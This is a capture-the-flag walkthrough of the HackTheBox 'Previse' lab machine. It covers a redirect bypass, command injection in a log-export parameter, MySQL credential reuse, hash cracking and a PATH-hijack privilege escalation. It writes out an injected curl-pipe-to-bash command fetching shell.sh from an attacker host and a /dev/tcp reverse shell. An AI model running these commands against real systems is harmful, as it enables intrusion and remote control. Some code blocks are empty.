Introduction
Previse is a fun Linux box on HackTheBox that has insecure redirect implementation which leaks information on the page.
This can then be used to create a new user in the application and get access to backup.zip of it.
Backup revels that there is a command injection vulnerability present in the logs fetching feature, which gets us a basic shell.
We have a MySQL server running inside the box which has reused credenrials from the backup.zip.
We get hashed/salted credentials inside this database and crack it by writing a custom PHP script.
We again have a username and password reuse for a SSH user, which gives us a user shell.
Listing sudo privilegs we get to know there is a script which we can run as root,
that does not mention absolute $PATH for a command being used.
Thus can be overriden by $PATH variable set by current USER.
Recon
We add target box IP 10.10.11.104 to /etc/hosts of attacker box.
# Contents of /etc/hosts
10.10.11.104 previse.htb
Masscan resuts
We run masscan to find all ports 1-65535
sudo masscan "10.10.11.104" -p1-65535,U:1-65535 --rate=500 -e tun0
Discovered open port 80/tcp on 10.10.11.104
Discovered open port 22/tcp on 10.10.11.104
NMAP resuts
We run nmap for the open ports
sudo nmap -sC -sV -oN nmap.out 10.10.11.104 -p 80,22
# Nmap 7.80 scan
Nmap scan report for 10.10.11.104
Host is up (0.22s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 53:ed:44:40:11:6e:8b:da:69:85:79:c0:81:f2:3a:12 (RSA)
| 256 bc:54:20:ac:17:23:bb:50:20:f4:e1:6e:62:0f:01:b5 (ECDSA)
|_ 256 33:c1:89:ea:59:73:b1:78:84:38:a4:21:10:0c:91:d8 (ED25519)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
|_http-server-header: Apache/2.4.29 (Ubuntu)
| http-title: Previse Login
|_Requested resource was login.php
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Gobuster resuts
We run gobuster to find hidden directories and pages with extension .php
gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 50 -u http://previse.htb/ -x .php
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://previse.htb/
[+] Method: GET
[+] Threads: 50
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.1.0
[+] Extensions: php
[+] Timeout: 10s
===============================================================
2021/08/08 05:04:58 Starting gobuster in directory enumeration mode
===============================================================
/login.php (Status: 200) [Size: 2224]
/files.php (Status: 302) [Size: 4914] [--> login.php]
/index.php (Status: 302) [Size: 2801] [--> login.php]
/download.php (Status: 302) [Size: 0] [--> login.php]
/header.php (Status: 200) [Size: 980]
/nav.php (Status: 200) [Size: 1248]
/footer.php (Status: 200) [Size: 217]
/css (Status: 301) [Size: 308] [--> http://previse.htb/css/]
/status.php (Status: 302) [Size: 2966] [--> login.php]
/js (Status: 301) [Size: 307] [--> http://previse.htb/js/]
/logout.php (Status: 302) [Size: 0] [--> login.php]
/accounts.php (Status: 302) [Size: 3994] [--> login.php]
/config.php (Status: 200) [Size: 0]
/logs.php (Status: 302) [Size: 0] [--> login.php]
/server-status (Status: 403) [Size: 276]
===============================================================
2021/08/08 05:38:52 Finished
===============================================================
Foothold
We access the http service on port 80 http://previse.htb/.
We get redirected to login page http://previse.htb/login.php.
We have a login page but there is no direct option/page to register new users. So, we need to find out a way by which we can register new users.
Using Burp to get Admin access to Web-app
We use BURP Community Edition and proxy our requests via it. We then visit http://previse.htb/.
In the Response we see that whole page is included with all the contents without user login and just the HTTP-Header Location is being used to redirect unauthenticated users.
Here we also see in html source that we can create a new account at http://previse.htb/accounts.php.
<li>
<a href="accounts.php">CREATE ACCOUNT</a>
</li>
We can now visit http://previse.htb/accounts.php by modifying the request and removing the Location: login.php header from the response.
Now we can create a new user having admin privileges as shown below:
We can now login with this account credentials and visit other pages.
On visiting http://previse.htb/files.php we have a file named siteBackup.zip
We download siteBackup.zip and we get the whole source code of the web application.
Inspecting Web app’s source
This source code has a file named logs.php which is used to get the logs with prefered delimiter.
| |
We see that, at Line 19 of the above code we can insert data from POST param delim, and that will be injected with the command, and then executed by exec1 command of PHP.
Injecting command to get reverse shell
We now visit http://previse.htb/file_logs.php. Click on the submit button and again intercept the request with BURP proxy.
Here we change the default body, that is delim=comma and use the following code (which is URL encoded):
delim=comma%20%26%26%20curl%20http://10.10.██.██:8080/shell.sh%20%7C%20/bin/bash
The command we execute here is:
delim=comma && curl http://10.10.██.██:8080/shell.sh | /bin/bash
The shell.sh contains reverse shell script so that we can get a shell:
# Contents of shell.sh
/bin/bash -l > /dev/tcp/10.10.██.██/4242 0<&1 2>&1
What we do here is use the && operator to execute the command after delim=comma for the Python script.
We use darkhttpd or python -m http.server to host the shell.sh file on attcker box IP: 10.10.██.██.
Then we fetch the shell.sh script curl http://10.10.██.██:8080/shell.sh from our attacker box and pipe it to /bin/bash.
After that we listen on port 4242 on our attacker box as we have used in shell.sh.
nc -lvnp 4242
and we get a shell 🐚!!
We also upgrade the shell with
python3 -c 'import pty;pty.spawn("/bin/bash")'
Escalating Privilege
At this point we are logged in as user www-data and current dir is /var/www/html.
In this folder we have same files as we have in the siteBackup.zip we downloaded earlier.
And also the config.php has same configuration and credentials.
bash-4.4$ cat config.php
cat config.php
<?php
function connectDB(){
$host = 'localhost';
$user = 'root';
$passwd = 'mySQL_p@ssw0rd!:)';
$db = 'previse';
$mycon = new mysqli($host, $user, $passwd, $db);
return $mycon;
}
?>
We know that there is a mySQL server running on the server. We confirm it by checking for open ports by using ss -tulpn2 and we find the port 3306 open.
Finding user credentials
We now login to mySQL with:
bash-4.4$ mysql -u root -p
# then input the password we got 'mySQL_p@ssw0rd!:)'
We get list of databases using SHOW DATABASES;
mysql> SHOW DATABASES;
SHOW DATABASES;
+--------------------+
| Database |
+--------------------+
| information_schema |
| mysql |
| performance_schema |
| previse |
| sys |
+--------------------+
5 rows in set (0.00 sec)
We select table previse
mysql> USE previse
We then get tables
mysql> SHOW TABLES;
SHOW TABLES;
+-------------------+
| Tables_in_previse |
+-------------------+
| accounts |
| files |
+-------------------+
Here we have a table named accounts. We then view its contents:
mysql> select * from accounts;
+----+----------+------------------------------------+---------------------+
| id | username | password | created_at |
+----+----------+------------------------------------+---------------------+
| 1 | m4lwhere | $1$🧂llol$DQpmdvnb7EeuO6UaqRItf. | 2021-05-27 18:18:36 |
| 2 | foouser | $1$🧂llol$kzkcgABDZ5GEWfMZvxzxZ/ | 2021-09-14 15:09:45 |
| 3 | kewlkid | $1$🧂llol$79cV9c1FNnnr7LcfPFlqQ0 | 2021-09-14 15:11:55 |
+----+----------+------------------------------------+---------------------+
Here we have a username m4lwhere which we have seen earlier in the website’s footer CREATED BY M4LWHERE
Cracking the hashed password
We try to crack this hashed password: $1$🧂llol$DQpmdvnb7EeuO6UaqRItf..
In accounts.php we have the following code which they are using to generate password for new user:
| |
We use the same concept in reverse way to verify the hashed password with ones generating from a wordlist. The following snippet of PHP code is how we get the password hashing reversed.
| |
Now, we run the PHP code as:
php -f passget.php
The script runs for around 10-15 mins and we get pass as: ilovecody████35! when using rockyou.txt wordlist.
Logging in to SSH with reused password
We can now login to ssh with user m4lwhere and password ilovecody████35!!
ssh m4lwhere@previse.htb
We get logged in as user m4lwhere and we get user.txt
Escalating Privilege further
Running sudo -l shows that we can run the following script as root!
User m4lwhere may run the following commands on previse:
(root) /opt/scripts/access_backup.sh
Checking its contents, we see that there is a command gzip which is used for file compression and decompression.
m4lwhere@previse:/var/tmp$ cat /opt/scripts/access_backup.sh
#!/bin/bash
# We always make sure to store logs, we take security SERIOUSLY here
# I know I shouldnt run this as root but I cant figure it out programmatically on my account
# This is configured to run with cron, added to sudo so I can run as needed - we'll fix it later when there's time
gzip -c /var/log/apache2/access.log > /var/backups/$(date --date="yesterday" +%Y%b%d)_access.gz
gzip -c /var/www/file_access.log > /var/backups/$(date --date="yesterday" +%Y%b%d)_file_access.gz
The shell looks for the command gzip in any of the paths defined in the PATH environment variable and executes it!
But it is possible to override the default PATHs and use User-defined ones.
Creating a private bin in user’s home directory
In the user m4lwhere’s HOME dir, we see that we have a .profile file, where we can override any command as we want!
In the .profile file below, line 20-23 includes all the executable binary/shell script files.
| |
Thus, to override the gzip command, all we have to do is to create bin dir in m4lwhere’s home and add a shell script file named gzip.
# we create a bin folder
m4lwhere@previse:~$ mkdir bin && cd bin
# then create a file gzip in it and make is executable
m4lwhere@previse:~$ touch gzip && chmod +x gzip
The ~/bin/gzip file has the following contents:
| |
We now need to load the .profile again so that our script /home/m4lwhere/bin/gzip is included in PATH variable.
m4lwhere@previse:~$ source .profile
Getting root privileges
We can now execute /opt/scripts/access_backup.sh as root without any password:
sudo /opt/scripts/access_backup.sh
And we have root.txt in the Current working diretory!
